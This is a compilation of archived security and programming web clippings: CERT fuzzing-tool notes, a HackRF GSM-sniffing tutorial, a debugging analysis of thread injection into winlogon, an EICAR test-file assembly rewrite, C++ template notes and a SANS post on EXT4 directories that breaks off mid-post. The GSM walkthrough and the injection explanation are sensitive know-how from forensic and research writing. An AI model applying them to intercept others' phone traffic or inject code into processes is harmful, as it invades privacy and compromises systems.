So please join us next time in Part Three, the final installment of this
series, when we'll take the attackers' shellcode apart and explain the tricks
they've use to make it harder to understand**.**

GO TO PART: ←Prev  1  **2**

****

# Detecting Integer Overflow Vulnerabilities in Binaries

**Created:**| _12/16/2009 11:48:34 AM_  
---|---  
**Updated:**| _12/16/2009 11:49:19 AM_  
**Author:**| __  
**Tags:**| _Practical Software Verification bookmark Exploit iDA_  
  
<img src='img/Temp2_2147' />

# CERT/CC Blog: One Weird Trick for Finding More Crashes

**Created:**| _9/25/2013 10:30:19 AM_  
---|---  
**Updated:**| _9/25/2013 10:30:19 AM_  
**Author:**| __  
**Tags:**| __  
  

#  CERT/CC Blog****

### One Weird Trick for Finding More Crashes****

By Will Dormann on September 23, 2013 1:22 PM | Permalink 
Hi folks**.** It's Will Dormann from the CERT Vulnerability Analysis team
**.** Today we're announcing the release of updates to both of our fuzzing
tools, the CERT Basic Fuzzing Framework \(BFF\) version 2**.** 7 and the CERT
Failure Observation Engine \(FOE\) version 2**.** 1**.** In this blog entry I
will describe some of the major changes with these tools**.**

So what's the one weird trick for finding more crashes that caused software
vendors to hate me**?** Okay, that may have been somewhat of a ruse. People
apparently love to click links that promise weird old tricks**.** However,
both BFF 2.7 and FOE 2**.** 1 do have an optional feature that in our testing
drastically increases the number of uniquely-crashing test cases: **crasher
recycling****.** When enabled, the frameworks will add uniquely-crashing test
case back into the pool of seed files for further fuzzing**.** When crashing
test cases are fuzzed more, this can uncover both new vulnerabilities as well
as new ways in which an already-known vulnerability can cause a crash**.**

Now on to the other changes..**.**

**Virtual Machine Changes**

Up through BFF version 2**.** 6, we have provided a Debian-based Linux virtual
machine for fuzzing**.** In my testing, some applications were tricky to
install, though**.** This was usually due to outdated or unavailable
dependencies**.** Now we are providing an Ubuntu-based Linux virtual machine
called UbuFuzz**.** We also are providing a 64-bit version called
UbuFuzz64**.**

**BFF 2.7 Changes  
**

**PIN** \- With some crashes, the stack is trashed completely**.** Because BFF
uses the `gdb` backtrace to determine the uniqueness of a crash, this means
that all crashes that completely trash the stack will look the same**.**
Starting with BFF 2.7, crashes that completely trash the stack are further
investigated using a customized PIN  tool that creates a call trace**.**
Rather than trying after the crash to determine the code path that an
application took, the PIN tool creates a call trace as the application
executes**.** Using this technique, we can determine the execution path that
an application takes, regardless of the state of the application's stack**.**

**Minimization to Metasploit string** \- BFF 2**.** 5  introduced a
minimization-to-string feature**.** Given any particular crash, how do you
determine if data or register values are potentially under your control,
without needing to do taint analysis**?** With a crashing test case that has
been minimized to a string of lowercase 'x' characters, it's quite easy to
spot**.** However, if, for example, a particular register is `0x78787878`, how
can you tell where from the file that value was obtained**?** This is why
we've changed the default string minimization to use the Metasploit
pattern**.** With this change, the specific pattern observed can give you an
indication of the offset within the file from which the bytes were
obtained**.** If the fuzzed file is large enough, the Metasploit pattern may
repeat**.** This is where the `tools\mtsp_enum.py` script comes in handy. When
you give it a byte or string pattern that occurs multiple times within a file,
it will modify those values so that each occurrence will be unique**.**

**Test case reproduction** \- You can interactively debug a crashing test case
with the configured target and commandline by using the `tools\repro**.** py`
script**.** You can also choose a different debugger to run the target
application**.**

**FOE 2**.** 1 Changes  
**

`****!** exploitable**`**1**.** 6** \- FOE 2.1 includes Microsoft
\!exploitable 1.6 , which includes a number of bug fixes and improvements**.**

**Crash uniqueness by exception chains** \- Prior to FOE 2**.** 1, crash
uniqueness was determined by the `**!** exploitable` crash hash for the first
exception encountered**.** Windows applications have the concept of exception
handling , however**.** When an exception is encountered, the application may
choose to handle the exception and continue, potentially encountering further
exceptions**.** FOE 2**.** 1 uses configurable-depth exception chains to
uniquely identify a crash, as well as taking the highest exploitability of
**any** of the exceptions encountered when bucketing crashes by
exploitability**.**

**Dynamic timeouts for GUI applications** \- Prior to FOE 2**.** 1, one of the
most important configuration options for GUI applications is the timeout**.**
CLI applications will execute as fast as your CPU will allow, but GUI
applications are different**.** They usually do not terminate when they are
"done." Therefore, it was critical to set a timeout that was long enough to
allow the target application to process the fuzzed file, but not so long that
the machine was sitting idle, wasting resources**.** FOE 2.1 determines if the
target application will terminate on its own**.** If it does not, it will
enable CPU-usage-based timeouts**.** This both improves fuzzing throughput,
and also simplifies configuration**.**

**Zip-based seed file awareness** \- A number of modern file formats are zip
based, such as DOCX or XPS**.** When fuzzing zip-based files, older FOE
versions would simply fuzz the zip container**.** However, FOE 2.1 by default
will automatically determine if each seed file is zip based, and for those
seed files, FOE will mutate the contents of the zip file rather than the
container itself**.**

**Test case reproduction** \- See above**.**

**Minimization to Metasploit string** \- See above**.**

**Getting Started**

**Read the Quick Start Instructions**  
  
Quick start instructions for both tools can be found on their download pages:
BFF 2**.** 7 , FOE 2.1 .  
  
**Contact Us**  
  
If you have any questions or comments, please feel free to contact us **.**

****

# BinaryRF.com • View topic - Sniffing GSM with HackRF

**Created:**| _8/20/2013 12:04:40 PM_  
---|---  
**Updated:**| _8/20/2013 12:04:40 PM_  
**Author:**| __  
**Tags:**| _gsm sdr_  
  

# Sniffing GSM with HackRF****

by **admin** » Wed Aug 14, 2013 1:29 am

I will open by saying only sniff your own system or a system you have been
given permission to work on, Sniffing a public network in your country may be
illegal**.**  
  
I recently had a play with sniffing some gsm using the HackRF, The clock was a
little unstable and drifted quite a bit but in the end I was able to view lots
of different system messages etc**.** I will assume you have a working linux
system with gnuradio and hackrf running for this turotial, If not you can use
the live cd which I referenced in the software section of the forum its a
great tool and the hackrf works right out of the box**.**  
  
First thing to do is find out the freq of a local gsm tower for this I used
gqrx which is pre loaded on the live cd, open it up and have a look around the
900mhz band and you should see something like the image below**.**

<img src='img/Temp2_1034.png' alt='gqerx.png' />

    gqerx.png \(274**.** 82 KiB\) Viewed 6889 times
You can see the non hopping channel at 952Mhz and another at 944**.** 2Mhz
write down the approximate frequency for the later step**.**  
  
Now we need to install Airprobe using the following commands**.**  
  
git clone git://git.gnumonks.org/airprobe.git  
  
cd airprobe/gsmdecode  
**.** /bootstrap  
./configure  
make  
  
cd airprobe/gsm-receiver  
**.** /bootstrap  
./configure  
make  
  
Thats all there is too it we can now start recieving some gsm first things
first start wireshark with the following command:  
  
sudo wireshark  
  
Select "lo" as the capture device and enter gsmtap in the filter window like
in the image below:

<img src='img/Temp2_1033.png' alt='wireshark.png' />

    wireshark.png \(66**.** 89 KiB\) Viewed 6889 times
Now go back to your terminal window and enter the following:  
  
cd airprobe/gsm-receiver/src/python  
**.** /gsm\_receive\_rtl**.** py -s 2e6  
  
A window will pop up and the first thing is to do is uncheck auto gain and set
the slider to full, then enter the gsm frequency you noted before as the
center frequency**.** Also select peak hold and average in the top windows
trace options like so:

<img src='img/Temp2_1036.png' alt='spectrum.png' />

    spectrum.png \(109**.** 9 KiB\) Viewed 6889 times
You will see that only signal on the right \(blue line\) consitently stays in
place over the peak hold \(green line\) indicating that it is the non hopping
channel, All we need to do to start decoding is in the top window click on the
center of that frequency hump**.** You may see some error coming up but that
is ok eventually it will start to capture data something like this:

<img src='img/Temp2_1035.png' alt='data.png' />

    data.png \(225**.** 52 KiB\) Viewed 6889 times
You can now see the gsm data popping up in wireshark, as I said at the
beginning the hackrf clock does drift so you will need to keep clicking to re-
center the correct frequency but all in all it works pretty good**.** As silly
as it may sound wraping your hack rf in a towel or similar really helps the
thermal stability of the clock and reduces drift**.** Now this "hack" is
obviously not very usefull on its own but I think atleast it helps to show the
massive amounts of potential there is in the HackRF**.******

# Ntdebugging Blog : How it Works: DLL Injection

**Created:**| _9/3/2009 9:53:42 AM_  
---|---  
**Updated:**| _9/3/2009 9:53:56 AM_  
**Author:**| __  
**Tags:**| _Debugging windows security Exploit_  
  

# NTDEBUGGING BLOG

<img src='img/Temp2_5639.png' alt='Microsoft Platforms GES Bloggers' />  
---  
  * RSS 2.0
  *   * ATOM 1.0

  * HOME
  *   * ABOUT
  *   * EMAIL

### Tags

  * Aman
  *   * Anurag
  *   * Architecture
  * assembler
  *   * Bob
  *   * boot
  *   * Bryan
  * bugcheck
  *   * Chad
  *   * chat
  *   * Chris
  *   * Citrix
  * Cluster
  *   * coding
  *   * consumption
  *   * CPU Spike
  *   * David
  *   * Deadlock
  *   * Debug Ninja
  * Debugging
  *   * Dennis
  *   * Disk
  *   * DST
  * East
  *   * ETW
  *   * Fundamentals Exercise
  *   * GEC
  *   * GEC 2009
  * Graham
  *   * gui
  *   * handles
  *   * Hangs
  * hardware
  *   * i/o
  *   * internals
  *   * Ivan
  * Jason
  *   * Jeff
  *   * joel
  *   * John
  *   * kernrate
  *   * leak
  * Links
  *   * Louis
  *   * lpc
  *   * Managed
  *   * Mark
  * Matthew
  *   * Mike
  *   * naresh
  *   * NDIS
  * Nischay
  *   * ODbgExt
  *   * Omer
  *   * Pool
  * Puzzler
  *   * Remote Debugging
  *   * Rob
  * Ron
  *   * roy
  *   * ryan
  *   * Scoping
  *   * Scott
  * shutdown
  *   * Somak
  *   * startup
  * Talkback
  *   * Tate
  *   * Todd
  *   * Tools
  * Trey
  *   * utilities
  *   * Venkatesh
  *   * video
  * windows
  *   * windows internals
  *   * WMI
  * x64
  *   * XPERF

### News

|  
---|---  
### Archives

  * September 2009 \(1\)
  * August 2009 \(6\)
  * July 2009 \(4\)
  * June 2009 \(3\)
  * May 2009 \(6\)
  * April 2009 \(4\)
  * March 2009 \(13\)
  * February 2009 \(6\)
  * January 2009 \(1\)
  * December 2008 \(1\)
  * November 2008 \(3\)
  * October 2008 \(5\)
  * September 2008 \(4\)
  * August 2008 \(6\)
  * July 2008 \(6\)
  * June 2008 \(6\)
  * May 2008 \(10\)
  * April 2008 \(13\)
  * March 2008 \(6\)
  * February 2008 \(1\)
  * December 2007 \(2\)
  * November 2007 \(1\)
  * October 2007 \(2\)
  * September 2007 \(6\)
  * July 2007 \(2\)
  * June 2007 \(8\)
  * May 2007 \(1\)
  * January 2007 \(2\)
  * December 2006 \(2\)

### Associated team blogs

  * Core
  * Directory Services
  * LATAM \[Portugese & Spanish\]
  * Manageability
  * Networking
  * Performance
  * Small Business Server
  * SoftGrid
  * Microsoft Hotfix and Hot Issue Center\!

### History

  * List all articles

Friday, June 20, 2008 7:01 PM ntdebug

## HOW IT WORKS: DLL INJECTION

**Introduction**

Hi everyone, this is Bob again. I recently worked on an issue where the
interaction of two threads in Winlogon led to a bugcheck. One thread was a
Winlogon thread initializing GDI. The interesting thing about this scenario is
how the other thread ended up in this process.

**What was the thread doing?**

Below is the user half of the thread stack. The thread attempted to load a
DLL.

ChildEBP RetAddr Args to Child

0058eaec 773901ad 773901d9 0058eafc 00240022 ntdll\!KiFastSystemCallRet

0058eb0c 775d96f3 775d1808 00000000 77e6f032
USER32\!NtUserRegisterWindowMessage+0xc

0058ed24 775e4755 00000000 00000001 7c837512 comctl32\!InitGlobalMetrics+0x44

0058ed3c 775e426a 00000031 0058ed68 7763490c comctl32\!\_ProcessAttach+0x98

0058ed48 7763490c 775d0000 00000001 00000000 comctl32\!DllMain+0x21

0058ed68 7c81a352 775d0000 00000001 00000000
comctl32\!\_DllMainCRTStartup+0x52

0058ed88 7c833465 776348ba 775d0000 00000001 ntdll\!LdrpCallInitRoutine+0x14

0058ee90 7c834311 00000000 00000000 7c8e2e58
ntdll\!LdrpRunInitializeRoutines+0x367

0058f124 7c834065 00000000 00080e98 0058f3ec ntdll\!LdrpLoadDll+0x3cd

0058f3a0 77e41bf3 00080e98 0058f3ec 0058f3cc ntdll\!LdrLoadDll+0x198

0058f408 77e5c70b 7c8e2e58 00000000 00000000 kernel32\!LoadLibraryExW+0x1b2

0058f41c 7c92a6a1 7c8e2e58 00000000 7c8e2e58 kernel32\!LoadLibraryW+0x11

0058f454 7c92a65f 7c8e2e58 7c8d0000 7c9297b6 SHELL32\!SHFusionLoadLibrary+0x2a

0058f460 7c9297b6 00000020 00000008 0058f6a8 SHELL32\!DelayLoadCC+0x15

0058f694 7c929728 0058f6a8 0000007c 00000001
SHELL32\!SHFusionInitializeIDCC+0x92

0058f8b4 7c92966f 7c8d0000 0000007c 00000001
SHELL32\!SHFusionInitializeFromModuleID+0x3a

0058f8c8 7c92962c 7c8d0000 00000001 0058f8f8 SHELL32\!\_ProcessAttach+0x34

0058f8d8 7c92bb63 7c8d0000 00000001 00000000 SHELL32\!DllMain+0x27

0058f8f8 7c81a352 7c8d0000 00000001 00000000 SHELL32\!\_DllMainCRTStartup+0x52

0058f918 7c833465 7c92bb1b 7c8d0000 00000001 ntdll\!LdrpCallInitRoutine+0x14

0058fa20 7c834311 00000000 00000000 00000004
ntdll\!LdrpRunInitializeRoutines+0x367  ß This function is

loading and calling init

functions of dependent DLL’s

0058fcb4 7c834065 00000000 00080760 0058ff7c ntdll\!LdrpLoadDll+0x3cd

0058ff30 77e41bf3 00080760 0058ff7c 0058ff5c ntdll\!LdrLoadDll+0x198  ß
0058ff5c is the Unicode string

pointer to DLL name

0058ff98 77e5c70b 00570254 00000000 00000000 kernel32\!LoadLibraryExW+0x1b2

0058ffac 0057017e 00570254 00000000 00200008 kernel32\!LoadLibraryW+0x11

WARNING: Frame IP not in any known module. Following frames may be wrong.

0058fff4 00000000 00570228 00905a4d 00000003 0x57017e

The DLL being loaded depends on other DLLs. These DLLs are loaded and
initialized when the first DLL is loaded. So if DLL ‘A’ has a call to DLL ‘B’,
then DLL ‘B’ is loaded by the loader when DLL ‘A’ is loaded.

**What is so unusual about this thread?**

If you examine the IP for that start address taken from \!thread and where it
is calling LoadLibraryW, the IP is not in a range of any loaded module.

1: kd> \!thread

THREAD 86edd020 Cid 7884.7528 Teb: 7ffdc000 Win32Thread: bc1adb48 RUNNING on
processor 1

Not impersonating

DeviceMap e10018c0

Owning Process 87c51d88 Image: winlogon.exe

Wait Start TickCount 2567944 Ticks: 0

Context Switch Count 4 LargeStack

UserTime 00:00:00.015

KernelTime 00:00:00.000

Start Address 0x00570000 ß Starting address. This is not in any module
displayed by “\!peb”

The \!PEB extension will display the loaded module list and address range for
the process. It is not shown here because of space. However this address is
not in any loaded module.

Let’s look at the function:

00570000 55 push ebp

00570001 8bec mov ebp,esp

00570003 83ec3c sub esp,3Ch

00570006 8365e800 and dword ptr \[ebp-18h\],0

0057000a 8365ec00 and dword ptr \[ebp-14h\],0

0057000e 8365f800 and dword ptr \[ebp-8\],0

00570012 8365dc00 and dword ptr \[ebp-24h\],0

00570016 8365f000 and dword ptr \[ebp-10h\],0

1: kd> u

0057001a 8365e000 and dword ptr \[ebp-20h\],0

0057001e 8365f400 and dword ptr \[ebp-0Ch\],0

00570022 6a01 push 1

00570024 8b4508 mov eax,dword ptr \[ebp+8\]  ß The 1st argument is a pointer
to a list of functions.

00570027 ff5004 call dword ptr \[eax+4\]

0057002a 8945fc mov dword ptr \[ebp-4\],eax

0057002d 8b4508 mov eax,dword ptr \[ebp+8\]  ß Function block.

00570030 ff5010 call dword ptr \[eax+10h\]

1: kd> u

00570033 8945e4 mov dword ptr \[ebp-1Ch\],eax

00570036 837de400 cmp dword ptr \[ebp-1Ch\],0

0057003a 0f84c0010000 je 00570200

The first argument is a block of functions. That is what was passed as the
initial parameter. What functions were passed?

1: kd> dds 570228 l 5

00570228 77e5c6fa kernel32\!LoadLibraryW

0057022c 77e6c2dc kernel32\!SetErrorMode

00570230 77e70531 kernel32\!GetCurrentDirectoryW

00570234 77e70d67 kernel32\!SetCurrentDirectoryW

00570238 77e63ec7 kernel32\!GetProcessHeap

These functions are standard kernel32 calls. So, the question is why is it
doing that?

**What is this thread doing?**

Based on the fact that the IP is not in any module, the IP is page aligned,
and the thread was passed function addresses as it initial parameter, it looks
like this thread was “injected” into this process.

**How was this thread injected?**

Another process, \(I do not know which one\) allocated a block of memory in
the Winlogon process via VirtualAllocEx. This function takes a process handle
as input and it can be a different process. Then code can be moved into the
process via WriteProcessMemory. Then a thread can be created using the
starting address of the memory address returned from VirtualAllocEx.

**Are we done?**

Nope – remember the block of addresses? This is needed because the module was
not loaded by the loader. So the functions did not get resolved by the linker.
So the addresses of functions outside of the code moved are unknown. Since in
Windows Server 2003 the functions of certain DLLs stay at the same address,
they can be passed to another process. Vista and beyond does not do this, so
this method will not work.

**Conclusion**

Hope you found this interesting. More on DLL injection can be found here:
http://www.codeproject.com/dll/DLL\_Injection\_tutorial.asp and
here:http://en.wikipedia.org/wiki/DLL\_injection.

AppInit\_DLLs is another method of getting a DLL to load \(in all process that
rely on user32.dll\), documented in KB 197571. This can lead to problems
though, as Raymond Chen discussed here.

  
  

  
  

Filed under: Debugging, Bob

  

# eicar2.asm

**Created:**| _5/27/2011 11:46:51 AM_  
---|---  
**Updated:**| _5/27/2011 11:46:51 AM_  
**Author:**| __  
**Tags:**| _asm programming antivirus_  
  

[code]

    ; this EICAR file was created by Peter Ferrie @ http://pferrie.tripod.com/misc/eicar.htm
    
    ; like the original EICAR file, 
    ; it prints the official "EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$" string, 
    ; and is made of printable characters only.
    ;   5T2)D4)D65Z3PZEICAR-STANDARD-ANTIVIRUS-TEST-FILE!$UX!T!S
    
    ; this version is 12 bytes smaller than the original one, which means 18% smaller
    
    ; this version actually executes the EICAR string itself
    
    ; (but it actually doesn't do anything relevant for the actual execution itself:
    ; the higher part of BP already contains the correct value, used later in AX, and is left unmodified.)
    
    ; yasm -o eicar2.com eicar2.asm
    
    KEY equ 3254h
    
    %macro int_21 0  ; encrypted int 21
    dw 021cdh + KEY
    %endmacro
    
    %macro int_20 0  ; encrypted int 20
    dw 020cdh + KEY
    %endmacro
    
    org 100h    ; standard for .COM files but not used here.
    
    bits 16
    start:
            ; ax = 0 on start up
        xor ax, KEY
            ; => ax = KEY
    
            ; si = start = 100h on startup
        sub [si + (patches - start)], ax
        sub [si + (patches - start) + 2], ax
    
        xor ax, 335ah      ; 335ah = _string ^ KEY
            ; => ax = _string now
    
        push ax
        pop dx
            ; => dx = _string
    
    ; now the string EICAR itself is executed !
    ; the string is 'EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$'
    _string:
            ; bp = 91ch on startup
        inc  bp         ; E
            ; 91dh
        dec  cx         ; I
        inc  bx         ; C
        inc  cx         ; A
        push dx         ; R
        sub  ax, 05453h ; -ST
        inc  cx         ; A
        dec  si         ; N
            ; => si = 0ffh
        inc  sp         ; D
        inc  cx         ; A
        push dx         ; R
        inc  sp         ; D
        sub  ax, 04E41h ; -AN
        push sp         ; T
        dec  cx         ; I
        push si         ; V
        dec  cx         ; I
        push dx         ; R
        push bp         ; U
        push bx         ; S
        sub  ax, 04554h ; -TE
        push bx         ; S
        push sp         ; T
        sub  ax, 04946h ; -FI
        dec  sp         ; L
        inc  bp         ; E
            ; bp = 091eh
    
            ; useless change at 0ffh
        and  [si], sp   ; !$
    
        push bp
        pop ax
            ; => ax = 091e (thus, ah = 09h)
    
    patches:
        int_21
        int_20
    
    ; ; equivalent code
    ;
    ;org 100h
    ;    mov dx, aString
    ;    mov ah, 09h
    ;    int 021h
    ;    int 020h
    ;aString db 'EICAR-STANDARD-ANTIVIRUS-TEST-FILE!', '$'
    
    ; ASM rewrite done by Ange Albertini in 2011
    
[/code]

# Eli Bendersky's website » Blog Archive » C++ template syntax patterns

**Created:**| _9/8/2011 11:39:44 PM_  
---|---  
**Updated:**| _9/8/2011 11:39:44 PM_  
**Author:**| __  
**Tags:**| _C++ programming templates_  
  

## C++ template syntax patterns

April 22nd, 2011 at 11:39 am

I’ve used templates in my C++ code, but never in a very "hard-core" way. I
don’t think I ever used partial specialization or template members, for
instance. Definitely not metaprogramming. I guess these techniques just aren’t
in my 20% subset of C++, and I feel good about it, since they’re not in most
people’s 20% subset of C++. However, I do sometimes run into complex template
constructs in code I want to understand, and not even grokking the _syntax_ of
what I’m seeing is kinda humiliating.

So this article will fix this. It’s a collection of "syntax patterns" for
templates, describing in brief what each one is, leaving the more complete
explanation to Google searches. The idea is when I run into another unfamiliar
piece of C++ template code in the future, I’ll look here and understand what
I’m seeing.

This is not one of my usual articles – I don’t intend to _teach_ anything
here. It is a keeper of information for my future self, and I plan to expand
it from time to time. I did decide to make it public in the hope that it will
help other people, and also to face public scrutiny – so if you have
corrections or additions, please let me know.

### Class templates and function templates

For the sake of completeness, the basics of templates:

[code]

    template <typename T>
    class Array {
      ... // blah blah
      int len() const;
    };
    
[/code]

This is a class template. Here’s how its method definition can look:

[code]

    template <typename T>
    int Array<T>::len() const
    {
      ...
    }
    
[/code]

When instantiated, the template parameter must be made explicit:

[code]

    Array<int> int_arr;
    Array<Person*> people;
    
[/code]

The following is a function template:

[code]

    template<typename T>
    void swap(T& x, T& y)
    {
      T tmp = x;
      x = y;
      y = tmp;
    }
    
[/code]

To use it, the template parameter can be omitted because the compiler can
infer it from the types of the arguments:

[code]

    int aa, bb;
    // stuff assigning aa and bb
    swap(aa, bb);    // calls swap<int>(...);
    
[/code]

And you can also set it explicitly, if you’re so inclined \[1\]:

[code]

    int aa, bb;
    // stuff assigning aa and bb
    swap<int>(aa, bb);
    
[/code]

Inferring only part of the parameters is possible as well:

[code]

    template <class X, class Y>
    bool same_size_as_template(const Y& val)
    {
        return sizeof(X) == sizeof(Y);
    }
    
[/code]

`Y` can be inferred from the type of the argument passed to the function, so
we can use it as follows:

[code]

    cerr << same_size_as_template<double>(5) << endl;
    
[/code]

### Non-type template parameters

Template parameters are usually types \(`typename foo`, `class foo` etc\), but
they don’t have to be. Template parameters can also be constant integral
values \(including enumerations\), as well as some other more esoteric things
I’ll ignore at this point. It looks like this:

[code]

    template <typename T, int N>
    class Foo {
    };
    
[/code]

`N` can then be used like any other constant in the code of `Foo`. The most
interesting use-case is probably using it as an array size \(which must be
constant\).

### Default values for template parameters

Template parameters may have default values, and when instantiating the
template these values can be omitted. Here’s an example:

[code]

    template <typename T=int, int N=10>
    class Foo {
    };
    
    Foo<float, 42> foo1;
    Foo<double> foo2;
    Foo<> foo3;
    
[/code]

Note specifically the strange syntax for the definition of `foo3`, which means
that it instantiates the `Foo` template with all parameters assigned their
default values.

Default values may only be specified for class templates.

### Specialization

Here is a generic `Array` container, plus its specialization for `bool`:

[code]

    template <typename T>
    class Array {
      ... // Generic Array code
    };
    
    template <>
    class Array<bool> {
      ... // Special code for Array<bool>
    };
    
[/code]

For function templates, there’s another way to specialize, using the fact that
the compiler can deduce argument types from the function’s argument list:

[code]

    template <typename T> bool less(T aa, T bb)
    {
      return aa < bb;
    }
    
    // Specialize for T = const char*
    // Could be also specified explicitly in <..> after less,
    // but it isn't necessary
    //
    template<> bool less(const char* aa, const char* bb)
    {
      return strcmp(aa, bb) < 0;
    }
    
[/code]

### Partial specialization

Partial specialization seems to refer to two slightly different syntaxes. One
is specializing a generic class \(or function\) for some modifier of a type,
for example:

[code]

    template <typename T>
    class Array<T*> {
      ... // Specialized for array of pointers to any type
    };
    
[/code]

Is a partial specialization of the aforementioned generic `Array` for pointer
types.

Another face of partial specialization is taking a template with more than one
parameter and specializing it by some of the parameters. A good example is the
actual `std::vector` container which is defined roughly as follows:

[code]

    template<typename T, typename Allocator>
    class vector {
      ... // vector contents
    };
    
[/code]

And here is its partial specialization for `bool`:

[code]

    template<typename Allocator>
    class vector<bool, Allocator> {
        ... // vector<bool> contents
    };
    
[/code]

### Member templates

Class members \(both member functions and nested classes\) can also be
templated. Consider this, for example:

[code]

    template <typename T>
    class Array {
      ... // blah blah
      int len() const;
    
      template <typename V>
      Array<T>& operator=(const Array<V>& other) {
        ...
      }
    };
    
[/code]

Normally, you can’t assign a `Array<int>` to `Array<double>`, even though
`int` is convertible to `double`. With the template member above, you can.
Just implement the `operator=` appropriately, and assigning one `Array` to
another will be possible as long as the type conversion between the contained
types is supported.

### Disambiguating dependent qualified type names

Suppose you have a function template in which you want to instantiate a
`vector` iterator. Something like the following:

[code]

    template <class T>
    string foo(vector<T> vec, ... other args)
    {
        vector<T>::iterator it = vec.begin();
    }
    
[/code]

Unfortunately, this is invalid C++ and the compiler will complain. The problem
is that `vector<T>::iterator` is a _qualified_ and _dependent_ name, and the
compiler can’t be sure whether it refers to a type or a member before it sees
`T`.

I won’t spend too much time explaining the exact mechanics, they are easily
discoverable by some googling \(one good resource is this article\). I just
want to mention that to resolve this ambiguity for the compiler, the
`typename` keyword must be used as follows:

[code]

    template <class T>
    string foo(vector<T> vec, ... other args)
    {
        typename vector<T>::iterator it = vec.begin();
    }
    
[/code]

### Disambiguating explicitly qualified template member usage

Take:

[code]

    class Foo
    {
      public:
        template<class T> T member_func();
    };
    
[/code]

`member_func` is a member template. Suppose we want to use it with an explicit
type qualification:

[code]

    template<class U> void func(U arg)
    {
      int obj = arg.member_func<int>();
    }
    
[/code]

This is invalid since the compiler can’t parse `arg.member_func<int>()`
correctly. It thinks the first `<` is a less-than sign, and `arg.member_func`
refers to some non-templated member of `arg` \(`arg` may very well have such a
member, but since it’s a templated type the compiler doesn’t know for sure
until it’s instantiated\).

To disambiguate, the `template` keywords has to be explicitly used thus:

[code]

    template<class U> void func(U arg)
    {
      int obj = arg.template member_func<int>();
    }
    
[/code]

Note that this rule applies also to both `->` and `::` between the object and
member names.

### Resources

  * C++ FAQ Lite, especially chapter 35
  * "The C++ Programming Language, 3rd edition" by Bjarne Stroustrup
  * "C++ Templates: The Complete Guide" by David Vandevoorde and Nicolai M. Josuttis
  * "A description of the C++ typename keyword"
  * "Tech talk about C++ templates"

<img src='img/Temp2_2556.jpg' alt='http://eli.thegreenplace.net/wp-
content/uploads/hline.jpg' />

\[1\]| You’d want to use this when the compiler can’t infer the template
parameter – for example for functions that accept no arguments but should
still be templated.  
---|---

# SANS Digital Forensics and Incident Response Blog | Understanding EXT4 \(Part 6\): Directories | SANS Institute
**Created:**| _6/29/2017 5:13:03 PM_  
---|---  
**Updated:**| _6/29/2017 5:13:03 PM_  
**Author:**| __  
**Tags:**| _Forensics Filesystem_  
  

  

**07** Jun **2017**

## Understanding EXT4 \(Part 6\): Directories

0 comments Posted by Hal Pomeranz  
Filed under Computer Forensics, Evidence Analysis

## Hal Pomeranz, Deer Run Associates

Many years ago, I started this series of blog posts documenting the internals
of the EXT4 file system. One item I never got around to was documenting how
directories were structured in EXT. Some recent research has caused me to dive
back into this topic, and given me an excuse to add additional detail to this
EXT4 series.

If you go back and read earlier posts in this series, you will note that the
EXT inode does not store file names. Directories are the only place in
traditional Unix file systems where file name information is kept. In EXT, and
the classic Unix file systems it is evolved from, directories are simply
special files that associate file names with inode numbers.

Furthermore, in the simplest case, EXT directories are just sequential lists
of file entries. The entries aren't even sorted. For the most part, directory
entries in EXT are simply added to the directory file in the order files are
created in the directory.

Let's create a small directory as an example:

[code]

    $ **cd /tmp**  
     $ **mkdir testing**  
     $ **cd testing**  
     /tmp/testing  
    $ **touch this is a simple directory**  
     $ **ls**  
     a  directory  is  simple  this
[/code]

When I list the directory with "ls", the file names are displayed in
alphabetical order. But when I look at things in my trusty hex editor, you can
see the directory entries in their actual order:

<img src='img/dir-orig-color.png' width='1572' height='685' alt='dir-orig-
color' />To the right, I have highlighted the ASCII file names. As you can
see, they appear in the directory file in the order I created the files with
the "touch" command.

I have also used highlighting to show the fields in several directory entries.
Every directory must start with the "." and ".." entries. These links point to
the directory itself \("."\) and the parent directory \(".."\).

Each directory entry contains five fields:

[code]

    Byte 0-3: Inode number  
         4-5: Total entry length  
         6  : File name length  
         7  : File type  
         8- : File name
[/code]

Directory entries are variable length, and the second field tracks the total
length of the entry. Entries must be aligned on four byte boundary. So in the
case of the "." entry, the total entry length is 12 bytes, even though the
entry could fit into 9 bytes. Field three is the length of the file name- one
byte in this case. The extra three bytes in the directory entry just contain
nulls.

In classic Unix file systems, the file name length field was two bytes. But
since Linux doesn't allow file names longer than 255 characters, the EXT
developers decided to use only one byte for the file name length and to use
the second byte to hold the file type. While the file type is also stored in
the inode, having this information in the directory entry is more efficient
for operations like "ls -F" where the file type is displayed along with the
file name.

File type is a numeric field defined as follows:

[code]

    o: Unknown  
    1: Regular file  
    2: Directory  
    3: Character special device  
    4: Block special device  
    5: FIFO (named pipe)  
    6: Socket  
    7: Symlink
[/code]

In the case of the "." and ".." links, the file type is "2", which is
"directory". This is the only case where Unix file systems allow hard links to
directories.

Finally, note the entry length field of the final file entry in the directory.
The entry size is 0x0FB4, or 4020 bytes. This consumes all remaining bytes to
the end of the block. The last directory entry is always aligned to the end of
the block. Directory entries may not cross block boundaries.

## Deleting Files

Now let's observe what happens when I delete the file "simple" from our
example directory:

<img src='img/dir-delete-color.png' width='1574' height='685' alt='dir-delete-
color' />The entry length for the file "a", which had previously been 12
bytes, is now 28 bytes \(0x1C\), effectively consuming the entry for the
deleted file "simple". The file name length for the "a" file entry is still
only one byte. The remainder of the entry is just "slack" space, but holds the
old entry for the deleted file.

This is the standard behavior when files are deleted in classic Unix file
systems. The entry before the deleted file simply grows to consume the
"deleted" entry. But the entry for the deleted file is otherwise unchanged and
can be carved for.

However, this unused "slack" space from deleted directory entries can be
reused when new files are added to the directory. For example, here's what
happens when I add a file named "new" to our example directory:

<img src='img/dir-new-added.png' width='1568' height='687' alt='dir-new-added'
/>The entry length for the "a" file is once again 12 bytes. Now there's a new
file entry for our "new" file which is 16 bytes long. You can see the last
three bytes of the original "simple" file name after "new". EXT apparently
doesn't bother with null filling the extra space in new directory entries.

## Large Directories

One of the consistent criticisms of classic Unix file systems has been that as
directories get large, performance suffers. If directories are nothing more
than unsorted lists of files, searching for the entry you want means
sequentially parsing a large number of directory entries. As the directory
grows, the average search time increases linearly.

More modern file systems solve this issue by organizing directory entries in
some sort of searchable data structure. For example, NTFS uses B-trees.
Starting in EXT3, developers created a hashed tree system, dubbed "htree", for
organizing directory entries. This is now standard in EXT4 and can be seen
when the directory grows larger than a single block.

Here's the first block of my /usr/share/doc directory:

